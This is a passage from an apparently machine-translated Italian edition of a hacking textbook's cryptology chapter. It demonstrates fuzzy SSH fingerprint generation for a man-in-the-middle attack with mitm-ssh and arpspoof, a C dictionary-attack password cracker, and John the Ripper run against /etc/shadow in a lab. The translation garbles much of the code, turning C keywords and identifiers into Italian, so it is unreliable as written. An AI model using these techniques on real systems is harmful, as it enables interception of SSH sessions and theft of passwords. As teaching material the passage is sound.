le impronte digitali dello stesso protocollo non corrispondono. Inoltre, poiché non tutti i client lo faranno
essere aggiornata, questa tecnica può ancora rivelarsi utile per un attacco MitM.

0x753 Impronte digitali sfocate


Konrad Rieck ha avuto un'idea interessante riguardo alle impronte digitali degli host SSH. Spesso,
un utente si connetterà a un server da diversi client diversi. Il dito ospite
la stampa verrà visualizzata e aggiunta ogni volta che viene utilizzato un nuovo client e un
l'utente consapevole tenderà a ricordare la struttura generale dell'host
impronta digitale. Anche se nessuno memorizza effettivamente l'intera impronta digitale, maggiore
le modifiche possono essere rilevate con poco sforzo. Avere un'idea generale di cosa sia il file
l'impronta digitale dell'host sembra che quando ci si connette da un nuovo client aumenta notevolmente
la sicurezza di quella connessione. Se viene tentato un attacco MitM, il palese
la differenza nelle impronte digitali dell'ospite di solito può essere rilevata a occhio.
Tuttavia, l'occhio e il cervello possono essere ingannati. Certe impronte lo faranno
sembrano molto simili agli altri. Le cifre 1 e 7 sono molto simili, a seconda di
visualizzare il carattere. Di solito, le cifre esadecimali che si trovano all'inizio e alla fine di
le impronte digitali vengono ricordate con la massima chiarezza, mentre il centro tende

Cryptology 413

Pagina 428

essere un po 'confuso. L'obiettivo alla base della tecnica delle impronte digitali fuzzy è generare
una chiave host con un'impronta digitale abbastanza simile al dito originale-
stampa per ingannare l'occhio umano.
Il pacchetto openssh fornisce strumenti per recuperare la chiave host dai server.

reader @ hacking: ~ $ ssh-keyscan -t rsa 192.168.42.72> loki.hostkey


# 192.168.42.72 SSH-1.99-OpenSSH_3.9p1
lettore @ hacking: ~ $ cat loki.hostkey
192.168.42.72 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA8Xq6H28EOiCbQaFbIzPtMJSc316SH4aOijgkf7nZnH4LirNziH5upZmk4 /
JSdBXcQohiskFFeHadFViuB4xIURZeF3Z7OJtEi8aupf2pAnhSHF4rmMV1pwaSuNTahsBoKOKSaTUOW0RN / 1t3G /
52KTzjtKGacX4gTLNSc8fzfZU =
lettore @ hacking: ~ $ ssh-keygen -l -f loki.hostkey
1024 ba: 06: 7f: d2: b9: 74: a8: 0a: 13: cb: a2: f7: e0: 10: 59: a0 192.168.42.72
lettore @ hacking: ~ $

Ora che il formato dell'impronta digitale della chiave host è noto per 192.168.42.72
(loki), è possibile generare impronte sfocate dall'aspetto simile. Un programma che
fa questo è stato sviluppato da Rieck ed è disponibile su http: //www.thc
.org / thc-ffp /. Il seguente output mostra la creazione di alcune dita sfocate
stampe per 192.168.42.72 (loki).

lettore @ hacking: ~ $ ffp


Utilizzo: ffp [Opzioni]
Opzioni:
-f tipo Specifica il tipo di impronta digitale da usare [Default: md5]
Disponibile: md5, sha1, ripemd
-t hash Impronta digitale di destinazione in blocchi di byte.
Separati da due punti: 01: 23: 45: 67 ... o come stringa 01234567 ...
-k type Specifica il tipo di chiave da calcolare [Default: rsa]
Disponibile: rsa, dsa
-b bits Numero di bit nelle chiavi da calcolare [Default: 1024]
-K mode Specifica la modalità di determinazione dei tasti [Predefinito: sciatto]
Disponibile: sciatto, preciso
-m tipo Specifica il tipo di mappa fuzzy da usare [Default: gauss]
Disponibile: gauss, coseno
-v variazione Variazione da utilizzare per la generazione di mappe fuzzy [Default: 7.3]
-y mean Valore medio da utilizzare per la generazione di mappe fuzzy [impostazione predefinita: 0,14]
-l size Dimensione dell'elenco che contiene le migliori impronte digitali [Predefinito: 10]
-s nomefile Nome del file di stato [predefinito: /var/tmp/ffp.state]
-e Estrai le coppie di chiavi host SSH dal file di stato
-d directory Directory in cui memorizzare le chiavi ssh generate in [Predefinito: / tmp]
-p period Periodo per salvare il file di stato e visualizzare lo stato [Default: 60]
-V Visualizza le informazioni sulla versione
Nessun file di stato /var/tmp/ffp.state presente, specificare un hash di destinazione.
reader @ hacking: ~ $ ffp -f md5 -k rsa -b 1024 -t ba: 06: 7f: d2: b9: 74: a8: 0a: 13: cb: a2: f7: e0: 10: 59: a0
--- [Inizializzazione] -------------------------------------------- -------------------
Inizializzazione dell'hash crunch: fatto
Inizializzazione Fuzzy Map: Fatto
Inizializzazione della chiave privata: fatto
Inizializzazione dell'elenco hash: fatto
Inizializzazione dello stato FFP: fatto

414 0x700

Pagina 429
--- [Fuzzy Map] ------------------------------------------- -----------------------
Lunghezza: 32
Tipo: distribuzione gaussiana inversa
Somma: 15020328
Mappa fuzzy: 10,83% | 9,64%: 8,52% | 7,47%: 6,49% | 5,58%: 4,74% | 3,96%:
3,25% | 2,62%: 2,05% | 1,55%: 1,12% | 0,76%: 0,47% | 0,24%:
0,09% | 0,01%: 0,00% | 0,06%: 0,19% | 0,38%: 0,65% | 0,99%:
1,39% | 1,87%: 2,41% | 3,03%: 3,71% | 4,46%: 5,29% | 6,18%:

--- [Chiave corrente] ------------------------------------------- ---------------------


Algoritmo chiave: RSA (Rivest Shamir Adleman)
Bit chiave / dimensione di n: 1024 bit
Chiave pubblica e: 0x10001
Bit di chiave pubblica / Dimensione di e: 17 bit
Phi (n) ed e r.prime: Sì
Modalità di generazione: sciatta

File di stato: /var/tmp/ffp.state


In esecuzione...

---[Stato attuale]------------------------------------------- -------------------


In corso: 0 g 00 h 00 m 00 s | Totale: 0k hash | Velocità: nan hash / s
-------------------------------------------------- ------------------------------
Migliore impronta digitale fuzzy dal file di stato /var/tmp/ffp.state
Algoritmo hash: Message Digest 5 (MD5)
Dimensione digest: 16 byte / 128 bit
Digest messaggio: 6a: 06: f9: a6: cf: 09: 19: af: c3: 9d: c5: b9: 91: a4: 8d: 81
Target Digest: ba: 06: 7f: d2: b9: 74: a8: 0a: 13: cb: a2: f7: e0: 10: 59: a0
Qualità fuzzy: 25,652482%

---[Stato attuale]------------------------------------------- -------------------


In esecuzione: 0 g 00 h 01 m 00 s | Totale: 7635k hash | Velocità: 127242 hash / s
-------------------------------------------------- ------------------------------
Migliore impronta digitale fuzzy dal file di stato /var/tmp/ffp.state
Algoritmo hash: Message Digest 5 (MD5)
Dimensione digest: 16 byte / 128 bit
Digest messaggio: ba: 06: 3a: 8c: bc: 73: 24: 64: 5b: 8a: 6d: fa: a6: 1c: 09: 80
Target Digest: ba: 06: 7f: d2: b9: 74: a8: 0a: 13: cb: a2: f7: e0: 10: 59: a0
Qualità fuzzy: 55,471931%

---[Stato attuale]------------------------------------------- -------------------


In corso: 0 g 00 h 02 m 00 s | Totale: 15370k hash | Velocità: 128082 hash / s
-------------------------------------------------- ------------------------------
Migliore impronta digitale fuzzy dal file di stato /var/tmp/ffp.state
Algoritmo hash: Message Digest 5 (MD5)
Dimensione digest: 16 byte / 128 bit
Digest messaggio: ba: 06: 3a: 8c: bc: 73: 24: 64: 5b: 8a: 6d: fa: a6: 1c: 09: 80
Target Digest: ba: 06: 7f: d2: b9: 74: a8: 0a: 13: cb: a2: f7: e0: 10: 59: a0
Qualità fuzzy: 55,471931%

.: [output tagliato] :.

Cryptology 415

Pagina 430

---[Stato attuale]------------------------------------------- -------------------


In esecuzione: 1g 05h 06m 00s | Totale: 13266446k hash | Velocità: 126637 hash / s
-------------------------------------------------- ------------------------------
Migliore impronta digitale fuzzy dal file di stato /var/tmp/ffp.state
Algoritmo hash: Message Digest 5 (MD5)
Dimensione digest: 16 byte / 128 bit
Digest messaggio: ba: 0d: 7f: d2: 64: 76: b8: 9c: f1: 22: 22: 87: b0: 26: 59: 50
Target Digest: ba: 06: 7f: d2: b9: 74: a8: 0a: 13: cb: a2: f7: e0: 10: 59: a0
Qualità fuzzy: 70.158321%

-------------------------------------------------- ------------------------------
Uscita e salvataggio del file di stato /var/tmp/ffp.state
lettore @ hacking: ~ $

Questo processo di generazione di impronte digitali sfocate può continuare per tutto il tempo desiderato.
Il programma tiene traccia di alcune delle migliori impronte digitali e le visualizzerà
periodicamente. Tutte le informazioni sullo stato sono memorizzate in /var/tmp/ffp.state, quindi il file
il programma può essere chiuso con un CTRL -C e quindi ripreso in seguito semplicemente
eseguire ffp senza argomenti.
Dopo aver eseguito per un po ', le coppie di chiavi host SSH possono essere estratte dal file
file di stato con l' opzione -e .

lettore @ hacking: ~ $ ffp -e -d / tmp


--- [Ripristino] -------------------------------------------- ----------------------
Lettura del file di stato FFP: fatto
Ripristino dell'ambiente: fatto
Inizializzazione dell'hash crunch: fatto
-------------------------------------------------- ------------------------------
Salvataggio delle coppie di chiavi host SSH: [00] [01] [02] [03] [04] [05] [06] [07] [08] [09]
lettore @ hacking: ~ $ ls / tmp / ssh-rsa *
/ tmp / ssh-rsa00 /tmp/ssh-rsa02.pub / tmp / ssh-rsa05 /tmp/ssh-rsa07.pub
/tmp/ssh-rsa00.pub / tmp / ssh-rsa03 /tmp/ssh-rsa05.pub / tmp / ssh-rsa08
/ tmp / ssh-rsa01 /tmp/ssh-rsa03.pub / tmp / ssh-rsa06 /tmp/ssh-rsa08.pub
/tmp/ssh-rsa01.pub / tmp / ssh-rsa04 /tmp/ssh-rsa06.pub / tmp / ssh-rsa09
/ tmp / ssh-rsa02 /tmp/ssh-rsa04.pub / tmp / ssh-rsa07 /tmp/ssh-rsa09.pub
lettore @ hacking: ~ $

Nell'esempio precedente, 10 coppie di chiavi host pubbliche e private hanno


stato generato. Le impronte digitali per queste coppie di chiavi possono quindi essere generate e
rispetto all'impronta digitale originale, come mostrato nell'output seguente.

lettore @ hacking: ~ $ for i in $ (ls -1 /tmp/ssh-rsa*.pub)


> fare
> ssh-keygen -l -f $ i
> fatto
1024 ba: 0d: 7f: d2: 64: 76: b8: 9c: f1: 22: 22: 87: b0: 26: 59: 50 /tmp/ssh-rsa00.pub
1024 ba: 06: 7f: 12: bd: 8a: 5b: 5c: eb: dd: 93: ec: ec: d3: 89: a9 /tmp/ssh-rsa01.pub
1024 ba: 06: 7e: b2: 64: 13: cf: 0f: a4: 69: 17: d0: 60: 62: 69: a0 /tmp/ssh-rsa02.pub
1024 ba: 06: 49: d4: b9: d4: 96: 4b: 93: e8: 5d: 00: bd: 99: 53: a0 /tmp/ssh-rsa03.pub

416 0x700

Pagina 431

1024 ba: 06: 7c: d2: 15: a2: d3: 0d: bf: f0: d4: 5d: c6: 10: 22: 90 /tmp/ssh-rsa04.pub
1024 ba: 06: 3f: 22: 1b: 44: 7b: db: 41: 27: 54: ac: 4a: 10: 29: e0 /tmp/ssh-rsa05.pub
1024 ba: 06: 78: dc: be: a6: 43: 15: eb: 3f: ac: 92: e5: 8e: c9: 50 /tmp/ssh-rsa06.pub
1024 ba: 06: 7f: da: ae: 61: 58: aa: eb: 55: d0: 0c: f6: 13: 61: 30 /tmp/ssh-rsa07.pub
1024 ba: 06: 7d: e8: 94: ad: eb: 95: d2: c5: 1e: 6d: 19: 53: 59: a0 /tmp/ssh-rsa08.pub
1024 ba: 06: 74: a2: c2: 8b: a4: 92: e1: e1: 75: f5: 19: 15: 60: a0 /tmp/ssh-rsa09.pub
lettore @ hacking: ~ $ ssh-keygen -l -f ./loki.hostkey
1024 ba: 06: 7f: d2: b9: 74: a8: 0a: 13: cb: a2: f7: e0: 10: 59: a0 192.168.42.72
lettore @ hacking: ~ $

Dalle 10 coppie di chiavi generate, quella che sembra sembrare di più


simile può essere determinato a occhio. In questo caso, ssh-rsa02.pub, mostrato in grassetto,
fu scelto. Indipendentemente dalla coppia di chiavi scelta, lo sarà sicuramente
assomigliano più all'impronta digitale originale che a qualsiasi chiave generata casualmente
voluto.
Questa nuova chiave può essere utilizzata con mitm-ssh per ottenere ancora di più
attacco efficace. La posizione per la chiave host è specificata nella configurazione
uration, quindi usare la nuova chiave è semplicemente questione di aggiungere una riga HostKey
in / usr / local / etc / mitm-ssh_config, come mostrato di seguito. Dal momento che dobbiamo rimuovere
la riga del protocollo 1 aggiunta in precedenza, l'output sotto sovrascrive semplicemente il file
file di configurazione.

reader @ hacking: ~ $ echo "HostKey / tmp / ssh-rsa02"> / usr / local / etc / mitm-ssh_config
reader @ hacking: ~ $ mitm-ssh 192.168.42.72 -v -n -p 2222 Uso della route statica per 192.168.42.72:22
Disabilitazione della versione del protocollo 1. Impossibile caricare la chiave host
Server SSH MITM in ascolto sulla porta 0.0.0.0 2222.

In un'altra finestra del terminale, arpspoof è in esecuzione per reindirizzare il traffico


a mitm-ssh, che utilizzerà la nuova chiave host con l'impronta digitale fuzzy. Il
l'output di seguito confronta l'output che un client vedrebbe durante la connessione.

Connessione normale

iz @ tetsuo: ~ $ ssh jose@192.168.42.72


L'autenticità dell'host "192.168.42.72 (192.168.42.72)" non può essere stabilita.
L'impronta digitale della chiave RSA è ba: 06: 7f: d2: b9: 74: a8: 0a: 13: cb: a2: f7: e0: 10: 59: a0.
Sei sicuro di voler continuare a connetterti (sì / no)?

Connessione con attacco MitM

iz @ tetsuo: ~ $ ssh jose@192.168.42.72


L'autenticità dell'host "192.168.42.72 (192.168.42.72)" non può essere stabilita.
L'impronta digitale della chiave RSA è ba: 06: 7e: b2: 64: 13: cf: 0f: a4: 69: 17: d0: 60: 62: 69: a0.
Sei sicuro di voler continuare a connetterti (sì / no)?

Riesci subito a capire la differenza? Queste impronte sono simili


abbastanza da indurre la maggior parte delle persone ad accettare semplicemente la connessione.

Cryptology 417

Pagina 432

0x760 Cracking delle password


Le password non sono generalmente archiviate in formato testo normale. Un file contenente tutto
le password in forma di testo normale sarebbero un obiettivo troppo attraente, quindi
invece, viene utilizzata una funzione hash unidirezionale. La più nota di queste funzioni
è basato su DES e si chiama crypt () , che è descritto nel manuale
pagina mostrata di seguito.

NOME
crypt: password e crittografia dei dati

SINOSSI
#define _XOPEN_SOURCE
#include <unistd.h>

char * crypt (const char * key, const char * salt);

DESCRIZIONE
crypt () è la funzione di crittografia della password. Si basa sui dati
Algoritmo standard di crittografia con variazioni previste (tra le altre
cose) per scoraggiare l'uso di implementazioni hardware di una chiave di ricerca.

key è la password digitata da un utente.

salt è una stringa di due caratteri scelta dall'insieme [a–zA–Z0–9./]. Questo


stringa viene utilizzata per perturbare l'algoritmo in uno dei 4096 modi diversi.

Questa è una funzione hash unidirezionale che richiede una password in chiaro e un file
salt per l'input, quindi restituisce un hash con il valore salt anteposto
ad esso. Questo hash è matematicamente irreversibile, il che significa che è impossibile
determinare la password originale utilizzando solo l'hash. Scrivere un programma veloce
sperimentare con questa funzione aiuterà a chiarire qualsiasi confusione.

crypt_test.c

#define _XOPEN_SOURCE
#include <unistd.h>
#include <stdio.h>

int main (int argc, char * argv []) {


if (argc <2) {
printf ("Utilizzo:% s <password in chiaro> <valore salt> \ n", argv [0]);
uscita (1);
}
printf ("password \"% s \ "con salt \"% s \ "", argv [1], argv [2]);
printf ("hash to ==>% s \ n", crypt (argv [1], argv [2]));
}

Quando questo programma viene compilato, la libreria crypt deve essere collegata.
Ciò è mostrato nell'output seguente, insieme ad alcune esecuzioni di test.

418 0x700

Pagina 433

reader @ hacking: ~ / booksrc $ gcc -o crypt_test crypt_test.c


/tmp/cccrSvYU.o: Nella funzione `main ':
crypt_test.c :(. text + 0x73): riferimento non definito a `crypt '
collect2: ld ha restituito 1 stato di uscita
reader @ hacking: ~ / booksrc $ gcc -o crypt_test crypt_test.c -l crypt
reader @ hacking: ~ / booksrc $ ./crypt_test testing je
password "testing" con hash "je" salt per ==> jeLu9ckBgvgX.
reader @ hacking: ~ / booksrc $ ./crypt_test test je
password "test" con hash "je" salt per ==> jeHEAX1m66RV.
reader @ hacking: ~ / booksrc $ ./crypt_test test xy
password "test" con hash salt "xy" per ==> xyVSuHLjceD92
lettore @ hacking: ~ / booksrc $

Si noti che nelle ultime due esecuzioni la stessa password è crittografata, ma


utilizzando diversi valori di sale. Il valore del sale viene utilizzato per perturbare l'algoritmo
inoltre, possono esserci più valori hash per lo stesso valore di testo normale se
vengono utilizzati valori di sale diversi. Il valore hash (incluso il sale anteposto)
viene memorizzato nel file delle password con la premessa che se un utente malintenzionato dovesse farlo
rubare il file della password, gli hash sarebbero inutili.
Quando un utente legittimo deve autenticarsi utilizzando l'hash della password,
l'hash dell'utente viene cercato nel file delle password. All'utente viene chiesto di farlo
inserisci la sua password, il valore del sale originale viene estratto dal file della password,
e qualunque cosa l'utente digiti viene inviato attraverso la stessa funzione hash unidirezionale
con il valore del sale. Se è stata inserita la password corretta, l'hashing unidirezionale
la funzione produrrà lo stesso output hash memorizzato nel file della password.
Ciò consente all'autenticazione di funzionare come previsto, senza mai doverlo fare
memorizzare la password in chiaro.

0x761 Attacchi al dizionario


Risulta, tuttavia, che le password crittografate nel file delle password non lo sono
così inutile dopo tutto. Certo, è matematicamente impossibile invertire l'hash,
ma è possibile eseguire l'hashing veloce di ogni parola in un dizionario, usando il sale
valore per un hash specifico, quindi confronta il risultato con quell'hash. Se la
gli hash corrispondono, quindi quella parola dal dizionario deve essere il testo in chiaro
parola d'ordine.
Un semplice programma di attacco al dizionario può essere creato abbastanza facilmente. E 'solo
ha bisogno di leggere le parole da un file, hash ognuna utilizzando il valore salt corretto,
e visualizzare la parola se c'è una corrispondenza. Il seguente codice sorgente lo fa
utilizzando le funzioni filestream, incluse in stdio.h. Queste funzioni
sono più facili da lavorare, poiché racchiudono il disordine delle chiamate open () e
descrittori di file, utilizzando invece i puntatori alla struttura FILE. Nella fonte sottostante,
l' argomento r della chiamata fopen () gli dice di aprire il file per la lettura. Ritorna
NULL in caso di errore o un puntatore al filestream aperto. La chiamata fgets () ottiene
una stringa dal filestream, fino a una lunghezza massima o quando raggiunge il
fine di una riga. In questo caso, viene utilizzato per leggere ogni riga dal file dell'elenco di parole.
Questa funzione restituisce anche NULL in caso di errore, che viene utilizzato per rilevare quindi
fine del file.

Cryptology 419

Pagina 434

crypt_crack.c

#define _XOPEN_SOURCE
#include <unistd.h>
#include <stdio.h>

/ * Barf un messaggio ed esci. * /


void barf (char * message, char * extra) {
printf (messaggio, extra);
uscita (1);
}

/ * Un esempio di programma di attacco del dizionario * /


int main (int argc, char * argv []) {
FILE
char **hash,
elenco di parole;
word [30], salt [3];
if (argc <2)
barf ("Utilizzo:% s <file elenco di parole> <hash password> \ n", argv [0]);

strncpy (sale, argv [2], 2); // I primi 2 byte di hash sono il sale.
sale [2] = "\ 0"; // termina la stringa

printf ("Il valore del sale è \ '% s \' \ n", sale);

if ((wordlist = fopen (argv [1], "r")) == NULL) // Apre l'elenco di parole.


barf ("Fatale: impossibile aprire il file \ '% s \'. \ n", argv [1]);

while (fgets (word, 30, wordlist)! = NULL) {// Legge ogni parola
parola [strlen (parola) -1] = '\ 0'; // Rimuove il byte "\ n" alla fine.
hash = cripta (parola, sale); // Cancella la parola usando il sale.
printf ("cercando parola:% -30s ==>% 15s \ n", parola, cancelletto);
if (strcmp (hash, argv [2]) == 0) {// Se l'hash corrisponde
printf ("L'hash \"% s \ "proviene da", argv [2]);
printf ("password in chiaro \"% s \ ". \ n", parola);
fclose (elenco di parole);
uscita (0);
}
}
printf ("Impossibile trovare la password in chiaro nell'elenco di parole fornito. \ n");
fclose (elenco di parole);
}

Il seguente output mostra che questo programma viene utilizzato per decifrare il pass-
parola hash jeHEAX1m66RV. , usando le parole che si trovano in / usr / share / dict / words.

reader @ hacking: ~ / booksrc $ gcc -o crypt_crack crypt_crack.c -lcrypt


reader @ hacking: ~ / booksrc $ ./crypt_crack / usr / share / dict / words jeHEAX1m66RV.
Il valore del sale è "je"
parola di prova: ==> jesS3DmkteZYk
parola di prova: A ==> jeV7uK / Sy / KU
parola di prova: A's ==> jeEcn7sF7jwWU
parola di prova: AOL ==> jeSFGex8ANJDE
parola di prova: AOL's ==> jesSDhacNYUbc

420 0x700

Pagina 435

parola di prova: Aquisgrana ==> jeyQc3uB14q1E


parola di prova: Aquisgrana ==> je7AQSxfhvsyM
parola di prova: Aaliyah ==> je / vAqRJyOZvU

.: [output tagliato] :.

parola di prova: conciso ==> jelgEmNGLflJ2


parola di prova: conciso ==> jeYfo1aImUWqg
parola di prova: concisione ==> jedH11z6kkEaA
parola di prova: lacuna ==> jedH11z6kkEaA
parola di prova: terser ==> jeXptBe6psF3g
parola di prova: tersest ==> jenhzylhDIqBA
parola provante: terziario ==> jex6uKY9AJDto
parola di prova: prova ==> jeHEAX1m66RV.
L'hash "jeHEAX1m66RV." è dalla password in chiaro "test".
lettore @ hacking: ~ / booksrc $

Poiché la parola test era la password originale e questa parola si trova in


il file di parole, l'hash della password verrà eventualmente violato. Questo è il motivo per cui è
considerato una cattiva pratica di sicurezza per utilizzare password che sono parole del dizionario
o in base alle parole del dizionario.
Lo svantaggio di questo attacco è che se la password originale non è una parola
trovata nel file del dizionario, la password non verrà trovata. Ad esempio, se un file
come password viene utilizzata una parola non del dizionario come h4R% , l'attacco del dizionario
non sarà in grado di trovarlo:

lettore @ hacking: ~ / booksrc $ ./crypt_test h4R% je


password "h4R%" con hash salt "je" per ==> jeMqqfIfPNNTE
lettore @ hacking: ~ / booksrc $ ./crypt_crack / usr / share / dict / words jeMqqfIfPNNTE
Il valore del sale è "je"
parola di prova: ==> jesS3DmkteZYk
parola di prova: A ==> jeV7uK / Sy / KU
parola di prova: A's ==> jeEcn7sF7jwWU
parola di prova: AOL ==> jeSFGex8ANJDE
parola di prova: AOL's ==> jesSDhacNYUbc
parola di prova: Aquisgrana ==> jeyQc3uB14q1E
parola di prova: Aquisgrana ==> je7AQSxfhvsyM
parola di prova: Aaliyah ==> je / vAqRJyOZvU

.: [output tagliato] :.

parola di prova: ingrandisce ==> je8A6DQ87wHHI


parola di prova: zoo ==> jePmCz9ZNPwKU
parola di prova: zucchine ==> jeqZ9LSWt.esI
parola di prova: zucchine ==> jeqZ9LSWt.esI
parola di prova: zucchine ==> jeqZ9LSWt.esI
parola di prova: zwieback ==> jezzR3b5zwlys
parola di prova: zwieback's ==> jezzR3b5zwlys
parola di prova: zigote ==> jei5HG7JrfLy6
parola di prova: zigote ==> jej86M9AG0yj2
parola di prova: zigoti ==> jeWHQebUlxTmo
Impossibile trovare la password in chiaro nell'elenco di parole fornito.

Cryptology 421

Pagina 436
I file di dizionario personalizzato sono spesso realizzati utilizzando lingue diverse, standard
modifiche di parole (come trasformare lettere in numeri) o semplicemente
aggiungendo numeri alla fine di ogni parola. Mentre un dizionario più grande lo farà
restituire più password, richiederà anche più tempo per l'elaborazione.

0x762 Attacchi di forza bruta esaustivi


Un attacco al dizionario che prova ogni singola combinazione possibile è esaustivo
attacco di forza bruta . Mentre questo tipo di attacco sarà tecnicamente in grado di rompere
ogni password immaginabile, probabilmente ci vorrà più tempo di tuo nonno
i nipoti dei bambini sarebbero disposti ad aspettare.
Con 95 possibili caratteri di input per password in stile crypt () , c'è
sono 95 8 possibili password per una ricerca esaustiva di tutti gli otto caratteri
password, che risulta essere oltre sette quadrilioni di possibili password.
Questo numero diventa così grande così rapidamente perché, quando viene aggiunto un altro personaggio
la lunghezza della password, il numero di password possibili cresce in modo esponenziale.
Supponendo 10.000 crepe al secondo, ci vorrebbero circa 22.875 anni per provare
ogni password. Distribuire questo sforzo su molte macchine e processori
è un possibile approccio; tuttavia, è importante ricordare che lo farà
ottenere solo un aumento di velocità lineare. Se mille macchine fossero combinate,
ciascuno capace di 10.000 crepe al secondo, lo sforzo ne richiederebbe ancora 22
anni. L'accelerazione lineare ottenuta aggiungendo un'altra macchina è marginale
rispetto alla crescita dello spazio delle chiavi quando un altro carattere viene aggiunto al file
lunghezza della password.
Fortunatamente, è vero anche l'inverso della crescita esponenziale; come personaggi
vengono rimossi dalla lunghezza della password, il numero di password possibili
diminuisce in modo esponenziale. Ciò significa che ha solo una password di quattro caratteri
95 4 possibili password. Questo spazio chiavi ha solo circa 84 milioni di possibili passaggi
parole, che possono essere risolte in modo esaustivo (supponendo 10.000 crepe al secondo)
in poco più di due ore. Ciò significa che, anche se una password come h4R%
non è in nessun dizionario, può essere decifrato in un ragionevole lasso di tempo.
Ciò significa che, oltre a evitare le parole del dizionario, la lunghezza della password
è anche importante. Poiché la complessità aumenta in modo esponenziale, raddoppiando l'estensione
lunghezza per produrre una password di otto caratteri dovrebbe portare il livello di sforzo
richiesto per decifrare la password in un intervallo di tempo irragionevole.
Solar Designer ha sviluppato un programma di cracking delle password chiamato John
lo Squartatore che usa prima un attacco a dizionario e poi un esaustivo bruto-
forza di attacco. Questo programma è probabilmente il più popolare nel suo genere;
è disponibile su http://www.openwall.com/john. È stato incluso in
il LiveCD.

lettore @ hacking: ~ / booksrc $ john

John the Ripper versione 1.6 Copyright (c) 1996-98 di Solar Designer

Utilizzo: john [OPTIONS] [PASSWORD-FILES]


-singolo modalità "singolo crack"
-wordfile: FILE -stdin modalità elenco di parole, legge le parole da FILE o stdin
-regole abilitare le regole per la modalità elenco di parole

422 0x700

Pagina 437

-incremental [: MODE] modalità incrementale [usando la sezione MODE]


-esterno: MODALITÀ modalità esterna o filtro di parola
-stdout [: LENGTH] nessuna rottura, basta scrivere parole su stdout
-restore [: FILE] ripristinare una sessione interrotta [da FILE]
-sessione: FILE imposta il nome del file di sessione su FILE
-status [: FILE] stampa lo stato di una sessione [da FILE]
-makechars: FILE crea un set di caratteri, FILE verrà sovrascritto
-mostrare mostra password violate
-test eseguire un benchmark
-user: [-] LOGIN | UID [, ..] carica solo questo / i utente / i
-gruppi: [-] GID [, ..] carica solo gli utenti di questo (questi) gruppi
-shells: [-] SHELL [, ..] carica gli utenti solo con questa (queste) shell
-sali: [-] COUNT carica sali solo con almeno COUNT password
-formato: NOME forza il formato del testo cifrato NOME (DES / BSDI / MD5 / BF / AFS / LM)
-savemem: LEVEL abilitare il salvataggio della memoria, a LIVELLO 1..3
lettore @ hacking: ~ / booksrc $ sudo tail -3 / etc / shadow
matrice: $ 1 $ zCcRXVsm $ GdpHxqC9epMrdQcayUx0 //: 13763: 0: 99999: 7 :::
jose: $ 1 $ pRS4.I8m $ Zy5of8AtD800SeMgm.2Yg.: 13786: 0: 99999: 7 :::
lettore: U6aMy0wojraho: 13764: 0: 99999: 7 :::
lettore @ hacking: ~ / booksrc $ sudo john / etc / shadow
Sono state caricate 2 password con 2 diversi sali (FreeBSD MD5 [32/32])
ipotizza: 0 tempo: 0: 00: 00: 01 0% (2) c / s: 5522 cercando: koko
ipotesi: 0 tempo: 0: 00: 00: 03 6% (2) c / s: 5489 cercando: esportazioni
ipotizza: 0 tempo: 0: 00: 00: 05 10% (2) c / s: 5561 prova: catcat
ipotizza: 0 tempo: 0: 00: 00: 09 20% (2) c / s: 5514 cercando: dilbert!
ipotesi: 0 tempo: 0: 00: 00: 10 22% (2) c / s: 5513 tentativo: redrum3
testing7 (jose)
ipotesi: 1 volta: 0: 00: 00: 14 44% (2) c / s: 5539 cercando: KnightKnight
ipotesi: 1 volta: 0: 00: 00: 17 59% (2) c / s: 5572 provando: Gofish!
Sessione interrotta

In questo output, l'account jose ha la password di testing7 .

0x763 Tabella di ricerca hash


Un'altra idea interessante per il cracking delle password è l'utilizzo di una ricerca hash gigante
tavolo. Se tutti gli hash per tutte le password possibili fossero precalcolati e archiviati
in una struttura di dati ricercabile da qualche parte, qualsiasi password potrebbe essere violata
nel tempo necessario per la ricerca. Supponendo una ricerca binaria, questa volta sarebbe
circa O (log 2 N ), dove N è il numero di voci. Poiché N è 95 8 nel caso
di password di otto caratteri, questo funziona a circa O (8 log 2 95), che è
abbastanza veloce.
Tuttavia, una tabella di ricerca hash come questa richiederebbe circa 100.000 tera-
byte di memoria. Inoltre, il design dell'algoritmo di hashing delle password
prende in considerazione questo tipo di attacco e lo mitiga con il valore del sale.
Poiché più password in testo normale verranno hash con hash di password differenti con
sali diversi, una tabella di ricerca separata dovrebbe essere creata per ogni sale.
Con la funzione crypt () basata su DES , ci sono 4.096 possibili valori di sale, che
significa che anche per uno spazio delle chiavi più piccolo, come tutti i possibili quattro caratteri
password, una tabella di ricerca hash diventa poco pratica. Con un sale fisso, il
spazio di archiviazione necessario per una singola tabella di ricerca per tutti i possibili quattro caratteri
le password sono circa un gigabyte, ma a causa dei valori salt, ce ne sono 4.096
Cryptology 423

Pagina 438

possibili hash per una singola password in chiaro, che richiedono 4.096 diversi
tavoli. Ciò aumenta lo spazio di archiviazione necessario fino a circa 4,6 terabyte, che
dissuade molto un simile attacco.

0x764 Matrice di probabilità della password


Esiste un compromesso tra potenza di calcolo e spazio di archiviazione
esiste ovunque. Questo può essere visto nelle forme più elementari di computer
scienza e vita quotidiana. I file MP3 utilizzano la compressione per archiviare un file di alta qualità
file audio in uno spazio relativamente piccolo, ma la richiesta di computer
aumentano le risorse nazionali. Le calcolatrici tascabili utilizzano questo compromesso nell'altro
direzione mantenendo una tabella di ricerca per funzioni come seno e coseno
per salvare la calcolatrice dal fare calcoli pesanti.
Questo compromesso può essere applicato anche alla crittografia in quello che è diventato
noto come attacco di compromesso tempo / spazio. Mentre i metodi di Hellman per questo
tipo di attacco sono probabilmente più efficienti, il seguente codice sorgente dovrebbe
essere più facile da capire. Il principio generale è sempre lo stesso, però:
Prova a trovare il punto debole tra potenza di calcolo e spazio di archiviazione,
in modo che un attacco di forza bruta esauriente possa essere completato in modo ragionevole
quantità di tempo, utilizzando una quantità ragionevole di spazio. Sfortunatamente, il file
il dilemma dei sali si presenterà ancora, poiché questo metodo ne richiede ancora alcuni
forma di archiviazione. Tuttavia, ci sono solo 4.096 possibili sali con lo stile crypt ()
hash delle password, quindi l'effetto di questo problema può essere diminuito riducendo
lo spazio di archiviazione necessario abbastanza lontano da rimanere ragionevole nonostante i 4.096
moltiplicatore.
Questo metodo utilizza una forma di compressione con perdita. Invece di avere un file
tabella di ricerca hash esatta, saranno diverse migliaia di possibili valori di testo in chiaro
restituito quando viene immesso un hash della password. Questi valori possono essere verificati
rapidamente per convergere sulla password originale in testo normale, e il componente lossy
la pressione consente una notevole riduzione dello spazio. Nel codice dimostrativo that
